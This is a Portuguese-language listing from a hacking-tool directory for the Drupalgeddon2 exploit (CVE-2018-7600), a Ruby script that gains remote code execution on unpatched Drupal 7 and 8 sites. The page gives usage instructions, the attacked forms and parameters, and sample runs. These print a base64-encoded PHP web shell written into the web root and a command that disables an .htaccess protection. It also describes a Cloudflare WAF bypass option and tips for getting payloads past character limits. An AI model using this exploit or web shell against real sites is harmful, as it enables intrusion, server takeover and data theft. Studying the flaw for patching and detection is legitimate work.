Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/dreadlocked/drupalgeddon2
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoShellcodeExploração de Aplicações WebTestes de Penetração
GitHubdreadlocked/drupalgeddon2

Drupalgeddon2

Exploit para Drupal v7.x + v8.x (Drupalgeddon 2 / CVE-2018-7600 / SA-CORE-2018-002)

Ver Repositório
60016923há 5 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2018-7600 | Drupal 8.5.x < 8.5.1 / 8.4.x < 8.4.6 / 8.x < 8.3.9 / 7.x? < 7.58 / < 6.x? - 'Drupalgeddon2' RCE (SA-CORE-2018-002)

Drupalggedon2 ~ https://github.com/dreadlocked/Drupalgeddon2/ (https://www.drupal.org/sa-core-2018-002)

Suporta:

  • Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 ~ URL user/register, atacando os parâmetros account/mail e #post_render, usando a função passthru do PHP
  • Drupal < 7.58 ~ URL user/password, atacando o formulário triggering_element_name e o parâmetro #post_render, usando a função do PHP
passthru
  • Funciona com comandos diretos (também conhecido como Método Sem Arquivo) ou escreve um shell PHP na raiz web (./) ou subdiretórios (./sites/default/ e ./sites/default/files/)
  • Suporta alvos Linux e Windows
  • Detecta automaticamente a versão do Drupal (ou faz um bom palpite!)
  • O método user/register foi escolhido para o Drupal v8.x, pois retorna HTTP 200 e renderiza a saída na resposta JSON data (descomente o código para o método timezone/#lazy_builder, que retornará HTTP 500 e cego!) (Mais Informações)

    Autores:

    • Hans Topo (@_dreadlocked)
    • g0tmi1k (@g0tmi1k)

    Notas:

    • Para usuários/configurações avançados, existe um exploit mais personalizável. Veja a seção drupalgeddon2-customizable-beta.rb
    • Antes de abrir uma issue, por favor, leia a seção de solução de problemas no final. Obrigado!

    Usage:

    root@kitploit:~
    $ ruby drupalgeddon2.rb
    Usage: ruby drupalggedon2.rb <target> [--verbose] [--authentication]
           ruby drupalgeddon2.rb https://example.com
    $
    

    Os parâmetros --verbose e --authentication podem ser adicionados em qualquer ordem após e são ambos opcionais. Se --authentication for especificado, você será solicitado a fornecer

    • nome de usuário,
    • senha,
    • nome do campo do formulário para o nome de usuário,
    • nome do campo do formulário para a senha,
    • caminho da URL para a página de login web, por exemplo, user/login
    • sufixo eventual para anexar após as credenciais no envio do formulário, por exemplo, form_id, etc.

    Isso é para suportar a exploração de sites que primeiro exigem login web baseado em POST e que respondem com um cookie de sessão, após autenticação bem-sucedida.

    Exemplo Drupal v8.x

    Drupal v8.x < v8.3.9 / v8.4.x < v8.4.6 / v8.5.x < v8.5.1

    root@kitploit:~
    $ ./drupalgeddon2.rb http://localhost/drupal-8/
    [*] --==[::#Drupalggedon2::]==--
    --------------------------------------------------------------------------------
    [i] Target : http://localhost/drupal-8/
    --------------------------------------------------------------------------------
    [!] MISSING: http://localhost/drupal-8/CHANGELOG.txt    (HTTP Response: 404)
    [+] Found  : http://localhost/drupal-8/core/CHANGELOG.txt    (HTTP Response: 200)
    [+] Drupal?: v8.x
    --------------------------------------------------------------------------------
    [*] Testing: Code Execution
    [i] Payload: echo TTTBJJBP
    [+] Result : TTTBJJBP
    [+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
    --------------------------------------------------------------------------------
    [*] Testing: Writing To Web Root (./)
    [i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
    [+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
    [+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
    --------------------------------------------------------------------------------
    [i] Fake shell:   curl 'http://localhost/drupal-8/s.php' -d 'c=hostname'
    ubuntu140045x64-drupal>> uname -a
    Linux ubuntu140045x64-drupal 3.13.0-144-generic #193-Ubuntu SMP Thu Mar 15 17:03:53 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
    ubuntu140045x64-drupal>>
    

    Exemplo Drupal v7.x

    Drupal < v7.58

    root@kitploit:~
    $ ./drupalgeddon2.rb http://localhost/drupal-7/
    [*] --==[::#Drupalggedon2::]==--
    --------------------------------------------------------------------------------
    [i] Target : http://localhost/drupal-7/
    --------------------------------------------------------------------------------
    [+] Found  : http://localhost/drupal-7/CHANGELOG.txt    (HTTP Response: 200)
    [+] Drupal!: v7.31
    --------------------------------------------------------------------------------
    [*] Testing: Code Execution
    [i] Payload: echo TKYPVVJJ
    [+] Result : TKYPVVJJ
    [+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
    --------------------------------------------------------------------------------
    [*] Testing: Writing To Web Root (./)
    [i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
    [+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
    [+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
    --------------------------------------------------------------------------------
    [i] Fake shell:   curl 'http://localhost/drupal-7/s.php' -d 'c=hostname'
    
    ubuntu140045x64-drupal>> uptime
     14:52:33 up 4 days,  3:35,  1 user,  load average: 0.00, 0.01, 0.05
    ubuntu140045x64-drupal>>
    

    Comandos Diretos / Shell Não PHP (também conhecido como Método Sem Arquivo)

    Se você não quiser nem tentar escrever um shell web PHP no servidor web, edite o arquivo conforme mostrado (ele voltará ao método alternativo se não conseguir encontrar um local gravável de qualquer forma):

    root@kitploit:~
    try_phpshelltryphpshell = false
    

    Exemplo

    root@kitploit:~
    $ ./drupalgeddon2.rb http://localhost/drupal-nonwrite/
    [*] --==[::#Drupalggedon2::]==--
    --------------------------------------------------------------------------------
    [i] Target : http://localhost/drupal-nonwrite/
    --------------------------------------------------------------------------------
    [!] MISSING: http://localhost/drupal-nonwrite/CHANGELOG.txt    (HTTP Response: 404)
    [+] Found  : http://localhost/drupal-nonwrite/core/CHANGELOG.txt    (HTTP Response: 200)
    [+] Drupal?: v8.x
    --------------------------------------------------------------------------------
    [*] Testing: Code Execution
    [i] Payload: echo HYCBAIET
    [+] Result : HYCBAIET
    [+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
    --------------------------------------------------------------------------------
    [*] Testing: Writing To Web Root (./)
    [i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
    [+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
    [!] Target is NOT exploitable for some reason [2] (HTTP Response: 404)...    Might not have write access?
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    [*] Testing: Writing To Web Root (sites/default/)
    [i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/s.php
    [+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
    [!] Target is NOT exploitable for some reason [2] (HTTP Response: 404)...    Might not have write access?
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    [*] Testing: Writing To Web Root (sites/default/files/)
    [*] Moving : ./sites/default/files/.htaccess
    [i] Payload: mv -f sites/default/files/.htaccess sites/default/files/.htaccess-bak; echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/files/s.php
    [+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
    [!] Target is NOT exploitable for some reason [1] (HTTP Response: 403)...    May not be able to execute PHP from here?
    [!] FAILED: Couldn't find writeable web path
    --------------------------------------------------------------------------------
    [*] Dropping back to direct commands
    drupalgeddon2>> lsb_release -a
    Distributor ID:	Ubuntu
    Description:	Ubuntu 14.04.5 LTS
    Release:	14.04
    Codename:	trusty
    drupalgeddon2>>
    

    Suporte a Proxy

    Para suporte a proxy (por exemplo, Burp), edite o arquivo, substituindo pelos seus valores. Exemplo:

    root@kitploit:~
    proxy_addr = "192.168.0.130"
    proxy_port = 8080
    

    Experimental mas utilizável: drupalgeddon2-customizable-beta.rb

    drupalgeddon2-customizable-beta.rb é destinado a usuários mais avançados, pois é mais personalizável. Permite especificar mais parâmetros, como o método PHP a ser usado (não apenas system() ou passthru()) e a forma de alcançar o formulário de usuário/senha.

    Exemplos de uso:

    root@kitploit:~
    Usage example: ./drupalgeddon-customizable-beta.rb -u http://example.com/ -v 7 -c id
    More info: -h
        -u, --url URL                    [Required] Service URL
        -v, --version VERSION            [Required] Target Drupal version {7,8}
        -c, --command COMMAND            [Required] Command to execute
        -m, --method PHP_METHOD          [Optional] PHP Method to use, by default: passthru
            --form                       [Optional] Form to attack, by default '/user/password' in Drupal 7 and '/user/register' in Drupal 8
            --cloudflare                 [Optional] Tries to bypass Cloudflare using Lua-Nginx +100 parameters WAF Bypass
        -h, --help                       Prints this help
    

    Solução de Problemas:

    • Sempre que receber um erro do tipo cannot load such file "LoadError", execute sudo gem install <dependência ausente>. Em particular, você pode precisar instalar a dependência highline com sudo gem install highline

    • O alvo pode redirecionar para outro caminho, onde o Drupal existe (como respostas HTTP 30x)

      • Solução: Certifique-se de que você está usando o caminho correto do Drupal
    • Há uma limitação de caracteres permitidos que podem ser usados no payload/comando

      • Solução: Isso se deve a como a vulnerabilidade os vê e eles sendo codificados para a requisição URL. Codifique o payload, decodifique-o no alvo. Como base64
    • Se o alvo for Linux e não estiver usando "GNU base64", pode ser a versão BSD (ou nem está instalado de jeito nenhum!)

      • Solução: use base64 -D (em vez de base64 -d) ou use o método sem arquivo
    • Se o alvo estiver usando Windows, escrever o shell PHP sempre falha

      • Solução: Use o método sem arquivo. Isso ocorre porque o pipe vai para um programa unix, em vez de usar certutil ou PowerShell
    • Drupal v8.x - ./.htaccess impedirá que qualquer script PHP seja executado em ./sites/default/ se essa for a pasta gravável

      • Solução: Mude para o método sem arquivo
    • Drupal v8.x - "clean URL" não está habilitado no alvo

      • Solução: N/A - Não vulnerável =(
    • Drupal v7.x - Se o formulário /user/password estiver desabilitado, você precisa encontrar outro formulário (lembre-se de alterar o exploit!)

      • Solução: O parâmetro form_id mudará dependendo do formulário usado para explorar a vulnerabilidade

    Links:

    • Drupal SA-CORE-2018-002 Advisory ~ https://www.drupal.org/sa-core-2018-002
    • CVE ~ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7600
    • Artigo e Pesquisa ~ https://research.checkpoint.com/uncovering-drupalgeddon-2/
    • Comandos cURL/exemplo PoC ~ https://gist.github.com/g0tmi1k/7476eec3f32278adc07039c3e5473708
    Baixar ferramenta